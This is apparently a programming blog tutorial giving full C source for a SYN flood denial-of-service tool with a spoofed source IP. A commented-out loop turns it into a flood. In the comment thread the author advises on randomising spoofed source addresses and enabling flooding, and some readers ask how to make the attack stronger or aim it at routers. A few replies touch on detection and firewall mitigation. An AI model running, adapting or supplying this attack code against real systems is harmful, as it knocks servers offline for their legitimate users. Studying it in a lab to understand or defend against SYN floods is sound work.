How to code a SYN Flood DOS attack program in C on Linux

By | July 31, 2020

TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :

1. Client --SYN Packet--> Server
2. Server --SYN/ACK Packet --> Client
3. Client --ACK Packet --> Server

The above 3 steps are followed to establish a connection between source and destination.

SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server.

These SYN requests get queued up on the server's buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.

After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.

Since the server's resources are used the response to legitimate users is slowed down resulting in Denial of Service.

Most webservers now a days use firewalls which can handle such syn flood attacks and moreover even web servers are now more immune.

For more information on TCP Syn DOS attack read up rfc 4987 , titled "TCP SYN Flooding Attacks and Common Mitigations" over here

Below is an example code in C:

Code

/*
	Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>	//Provides declarations for tcp header
#include<netinet/ip.h>	//Provides declarations for ip header

struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	
	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;
	
	return(answer);
}

int main (void)
{
	//Create a raw socket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096] , source_ip[32];
	//IP header
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct pseudo_header psh;
	
	strcpy(source_ip , "192.168.1.2");
  
	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
	
	memset (datagram, 0, 4096);	/* zero out the buffer */
	
	//Fill in the IP Header
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
	iph->id = htons(54321);	//Id of this packet
	iph->frag_off = 0;
	iph->ttl = 255;
	iph->protocol = IPPROTO_TCP;
	iph->check = 0;		//Set to 0 before calculating checksum
	iph->saddr = inet_addr ( source_ip );	//Spoof the source ip address
	iph->daddr = sin.sin_addr.s_addr;
	
	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
	
	//TCP Header
	tcph->source = htons (1234);
	tcph->dest = htons (80);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5;		/* first and only tcp segment */
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;
	tcph->urg=0;
	tcph->window = htons (5840);	/* maximum allowed window size */
	tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
				should fill in the correct checksum during transmission */
	tcph->urg_ptr = 0;
	//Now the IP checksum
	
	psh.source_address = inet_addr( source_ip );
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);
	
	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
	
	tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
	
	//IP_HDRINCL to tell the kernel that headers are included in the packet
	int one = 1;
	const int *val = &one;
	if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
	{
		printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
		exit(0);
	}
	
	//Uncommend the loop if you want to flood :)
	//while (1)
	//{
		//Send the packet
		if (sendto (s,		/* our socket */
					datagram,	/* the buffer containing headers and data */
					iph->tot_len,	/* total length of our datagram */
					0,		/* routing flags, normally always 0 */
					(struct sockaddr *) &sin,	/* socket addr, just like in */
					sizeof (sin)) < 0)		/* a normal send() */
		{
			printf ("error\n");
		}
		//Data send successfully
		else
		{
			printf ("Packet Send \n");
		}
	//}
	
	return 0;
}

Compile and Run

On Ubuntu

$ gcc synflood.c
$ sudo ./a.out
Packet Send

Use wireshark to check the packets and replies from server.
The sendto function if put in a loop will start flooding the destination ip with syn packets.

About Silver Moon

A Tech Enthusiast, Blogger, Linux Fan and a Software Developer. Writes about Computer hardware, Linux and Open Source software and coding in Python, Php and Javascript. He can be reached at [email protected].

98 thoughts on “How to code a SYN Flood DOS attack program in C on Linux

  1. dasari

    Hi,
    I am trying to simulate the syn flood detection algorithm. Is possible to simulate syn flood, detection and defense in any simulator?
    Its a great help.

    Thanks

  2. Quizzle Tran

    Hi, would you be so kind to let me demo this code for my senior seminar presentation about dos and ddos attack? thanks

  3. vxnuke

    Here is a hint to make this code work. I’m not going to make it easy as I don’t like noobs that steal code to ddos. The hint is this code need a function that uses srand to generate a random ip. Have fun coding :D

  4. Madhur Tewani

    getting following error:

    “Error setting IP_HDRINCL. Error number : 9 . Error message : Bad file descriptor”

    please help me out with this.

  5. Avilla

    Hello, Silver Moon, pure nice script. I have one question, it is possible to include not just one “source_ip” but whole subnet and send SYN packet randomly from different subnet/ips? Thank you.

    1. Silver Moon Post author

      this has to be coded by picking up random ips everytime in the loop.
      something like 192.168.random_number(1-255).random_number(1-255)

      can be coded easily. check the function called random.

  6. Baba

    Can i compile and run the program above with NETBEAN? I am a dummy here. can you please tell me the line to change in the code above if i want to use it now.

      1. mmoon

        Hi,

        It’s emergency. I need a network and security specialist and I am interested to hire you.

        Can you please contact me in my email!

        THanks.

  7. Ian

    I have a question I’d be grateful if you would take the time to answer.

    I’m using this as a learning exercise, and it’s proving to be very useful. One thing I’m currently unclear about is the IP address used as the source address. If we spoof this address will the target be able to successfully send the SYN/ACK?

    If the spoofed address is an external address would it not get an ICMP destination unreachable message from the spoofed IPs gateway, and if it’s allegedly on the same network as our target will the target not perform an ARP request that never resolves?

    I appreciate your time and knowledge.

    1. Silver Moon Post author

      When the source address is spoofed, the target system replies to that fake/spoofed address.
      Now if there is a machine alive on the spoofed address then it will receive the packet which it will discard.

      On external network if the spoofed ip address does not exist, the spoofed ip’s gateway would reply with an icmp destination unreachable.
      On LAN/internal network it will send the packet out from the gateway if its not an 192.168.x.x address.
      And if its a 192.168.x.x address then the gateway might try to resolve it by doing an ARP request.

      1. Ian

        I also realised this morning that the target wouldn’t need to perform an ARP request as the MAC address for the spoofed IP would be in the original SYN packet. So as long as the spoofed IP is on the 192.168.x.x network the SYN/ACKs should just be blackholed.

        Thanks again for your time and effort.

  8. Ian

    iph->id = htonl (54321); //Id of this packet

    Needs to be:

    iph->id = htons (54321); //Id of this packet

    In order for it to actually be 54321 as the id as it is only a 16 bit field and not 32.

    Good code though, thanks.

  9. Saksham

    Hey, thanks a lot for this great article and reply also!:) It helped me a lot for my project. Could u please let me know how to enforce delay in syn-ack. I found dummynet through which one can control the overall delay in packets but this is for freebsd platform. Please suggest me something in substitute of this for ubuntu platform. Thanks once again!

  10. Saksham

    Hey, thanks for the code. But i’m having error-“Error setting IP_HDRINCL. Error number :9. Error message: Bad file descriptor”. Could u please suggest me the solution or the probable cause of getting this?
    Thanks in advance!

    1. Binary Tides Post author

      Bad file descriptor indicates that the socket is invalid. are you running the program with root privileges/sudo ?

      right after the socket creation line int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);

      check if the socket is valid by doing this :
      if(s == -1)
      {
      printf (“Error creating socket. Error number : %d . Error message : %s \n” , errno , strerror(errno));
      }

      This will tell you if the socket is invalid ?

  11. deepak singh rana

    thanku you for supporting and publishing this code it is really working fine ….please tell me how to make graphical representaion …for the results.

  12. Frederik Lassen

    So, how would the code look if you swapped IP address, Pakage ID and Port every time?
    That would be cool.

    Thanks for sharing the code!

    1. Binary Tides Post author

      Use firewalls to prevent syn flood attacks on server side.
      If a host is sending too many syn packets then the firewall can block its ip and prevent any further communication.

    2. ashish

      i am doing a project in linux about dns server protection against such attacks,for which i have to write a code in c.please help me.how can i write that code??thank you in advance.

  13. Chickie

    i replace line 63 sin.sin_addr.s_addr = inet_addr (“1.2.3.4”) by sin.sin_addr.s_addr = inet_addr (“127.0.0.1”) to test on my local host , still see packet send in terminal screen , but i dont see the packet sent on wireshark ( with 1.2.3.4 work fine) , and i see nothing when check apache log .
    How could i do to make it work on local host? ( i try change destination IP but it didnt work)

    1. Binary Tides Post author

      packets with source ip 127.0.0.1 will not be captured by wireshark , since that is the localhost ip
      and localhost packets dont go through the network interface/adapter.

      Also apache log will not show any such packets since it has nothing to do with this. It shows only http requests on port 80

      1. Chickie

        wait… when capture packets with wireshark , it said that 1.2.3.4 is destination IP not source IP , and what should i do to get this request recorded to the log file to see what server got when i make request by this code ? sorry for my fool question , im just a newbie

  14. Sami

    Basically
    I should just edit this line:

    sin.sin_addr.s_addr = inet_addr (“1.2.3.4”);

    and uncomment to make the script flood .

    That’s it ?

    What if I want to make the packet stronger ? Which command should I edit ?

    another question, what is this line for:

    tcph->source = htons (1234);

  15. Sami

    If I’m using this on linux on a fast speed connection and a kick ass server what should I edit to make it flood stronger and better ?

  16. sahil

    sir, can i do ddos attack on any port of router?
    If yes then please tell me the source code, as i have to make a project on this.
    I am a college student…………….

  17. chik

    thank man !
    i tested it , worked fine , i tried flood mode and i didnt know how to stop it … i tried closing the terminal running the SYNflood progam and my network still overload … how to resolve it ?

    1. Binary Tides Post author

      You can get some limited information like lots of TCP connections in TIME_WAIT state, but it may not be very useful.

    1. Binary Tides Post author

      one simple way to detect is by using a sniffer like wireshark and check the incoming packets.
      in a synflood situation there would be lots of syn packets coming in.

    1. Binary Tides Post author

      You can use the code given in the post on Ubuntu. It does not matter what OS is running on the target system.

  18. jagan

    The program is running successfully…..!but syn packets are not flooded…..i used the wireshark to capture the packets….the result is zero bytes from the destination host….

    Is there any modification require….?

    1. Binary Tides Post author

      to synflood , you have to uncomment the while loop. that is line number 120 , 121 , 137
      you should be able to see lots of syn packets in wireshark when you run the program with the while loop.
      make sure that no firewall is blocking syn packets on your local system.

        1. Binary Tides Post author

          check the firewall configuration. the firewall checking/security has to be low.
          if the firewall does not have any specific configuration parameter/setting then switch it off completely.

          1. Saksham

            Hey, thanks! But how to do that in ubuntu? Is there any command for that? Thanks once again!:)

  19. raj

    Hello Sir,
    Thank you very much for your solutions. Program is working fine except the followning warning:
    $ gcc SYNattack.c
    SYNattack.c:21:1: warning: useless storage class specifier in empty declaration

    And otherwise Everything is working fine in program and thanks a lot. But I am not able to verify in wireshark tool so please help me out to verify the attack in wireshark tool. And is it possible to make this program to work in windows system, in order to do that what all additional files we need to include in program please help me out.

    Thanking you sir,
    Regards,
    Raj

      1. raj

        Hello Sir,

        Actually I was runnig Wireshark in LAN set-up and so only!, I am not able to see the other systems ips and attack. And I am new to this project please help me out to set-up the network and the components required for this.
        I will be thank full to you.

        Regards,
        Raj

        1. Binary Tides Post author

          scan your network for other live hosts. use nmap , angry ip scanner or a similar tool. other hosts will have an ip similar to yours within the same subnet(netmask).

    1. raj

      Hello Sir,
      The program is running good except the below warning:
      $ gcc SYNattack.c
      SYNattack.c:21:1: warning: useless storage class specifier in empty declaration
      $ sudo ./a.out
      ………………….

      And i used wireshark to analyze and it was showing the transfer of TCP [SYN] in it. But what i am confused is the destination address of ip suppose to be edited exactly in which place and also it obtains the result for any random address we type. How we must clarify ourselves that the ip address exist or not??. please help me out and also please give some data to understand the program well.

      Thanks & Regards.
      raj

      1. Binary Tides Post author

        the destination ip is stored in the sockaddr_in structure sin :

        sin.sin_addr.s_addr = inet_addr (“1.2.3.4”);

        The ip address is passed as a string to the function inet_addr

  20. raj

    Hello Sir,
    Thank you for your last solution and its working fine but in ubuntu after running command :
    [email protected]$ sudo ./a.out
    it will stop like this way:
    [email protected]$

    and i am using wireshark to chek but i am not able to find anything exactly so. how do i verify that. And
    how to deal with these warnings,
    $ sudo gcc SYNattack.c
    SYNattack.c:17:1: warning: useless storage class specifier in empty declaration
    SYNattack.c: In function ‘main’:
    SYNattack.c:59:2: warning: incompatible implicit declaration of built-in function ‘memset’
    SYNattack.c:100:2: warning: incompatible implicit declaration of built-in function ‘memcpy’

    Thank you for your help sir.

    Regards,
    Raj

    1. Binary Tides Post author

      I have updated the code. Now you should not get the memset and memcpy warnings.

      sudo is not needed why compiling the code. Simply :

      $ gcc SYNattack.c

      use sudo when running the program :

      $sudo ./a.out

      The dot ‘.’ in the output indicates that the packet has been send. The code by default only sends out 1 packet and it might be difficult to detect in large traffic in wireshark. Use filter in wireshark or uncomment the while loop and the program will send multiple packets. Then it will be easier to detect the packets in wireshark

  21. appy

    Sir,

    When i run the code I am getting this –> “Warning: Cannot set HDRINCL!n”…Dont understand why it returns -1 in the loop there…Could you please shed some light?

    Regards

  22. Virgula

    Complementing my last e-mail…
    Compliation were generating warnings so I included:

    #include // -> it seems it was necessary to use memset

    …and also, I excluded the “typedef” command when defining the pseudo_header

    This eliminates the warnings but the result is still the same.

    regards

  23. Virgula

    Folks, I tried it and it looks it’s working, but, too slow.

    Although the terminal shows a thousand dots per second, wireshark takes 5 secs to show each group of 3 SYN packets sent.

    Any advice?

    regards

  24. S2xC

    Hey guys,can anyone please explain what does the following line:
    struct iphdr *iph = (struct iphdr *) datagram;
    Thank you very much.

  25. vve

    AZIDBLAZER – I’m not a programmer, but a wireless engineer and I’m looking for a way to perform a specific test on our WLAN equipment. I’m testing a firewall function and do not want to use the test we have typically used because it is not a “real-world” practical test IMO. I’d like to test SYN flood between two wifi clients with firewall function mitigating the attack.

    Please email me if you wouldn’t mind helping me understand your script and getting it to function correctly. I have a linux test bed in my lab and will attempt on my own, but as I stated, I’m not a programmer so I don’t know how far i will get. Thank you.

  26. simsd

    The program runs but no packets are sent to the target. I use wireshark to monitor the LAN traffic. I can’t figure out what seems to be the problem.

  27. simsd

    I keep getting error: stray ‘\240\’ and error: stray ‘320’ during compilation
    can anyone help me please?

    1. Binary Tides Post author

      check the line numbers where the error occurs and make sure that line has no special invisible characters.

  28. Anonymous

    Thanks a lot man! Really faster than any other solution that I found (since the others where made in perl/ruby/python, etc).

  29. Qistina

    Dear AZIDBLAZER,

    Thank you for your reply. Really appreciate it. Actually I need this program for simulate the DoS Attack in lab environment to proof and study the concept of three-way handshaking.

    Best Regards.

  30. AZIDBLAZER

    Seriously Guys… If you dont know a programming language and are looking for a script to “PWN” your friends or anyone else this is not the palce to start. All you have to do is edit the while thats already in the code and uncomment it out. Im not going to tell you how because this is SIMPLE PROGRAMMING and i dont want another script kiddie out there.

  31. Moe

    Dear Sir,

    I think I’m facing the same problem as previous comment posted.

    I would appreciate if you help on the required modification.

    Regards,
    Moe

  32. Qistina

    Dear Sir,

    I had compiled this program but it doesn’t works as to generate syn packet. Is is need modification on this source code ?

    What does it means from this statement ?

    The sendto function if put in a loop will start flooding the destination ip with syn packets.

    Do I need to modify the code ? Please help me, I really need the code for generate syn packet for me to simulate dos attack.

    Thank you

    1. Binary Tides Post author

      Make sure you run the program with root privileges.
      Also check using wireshark if packets are being send or not.

Leave a Reply

Your email address will not be published. Required fields are marked *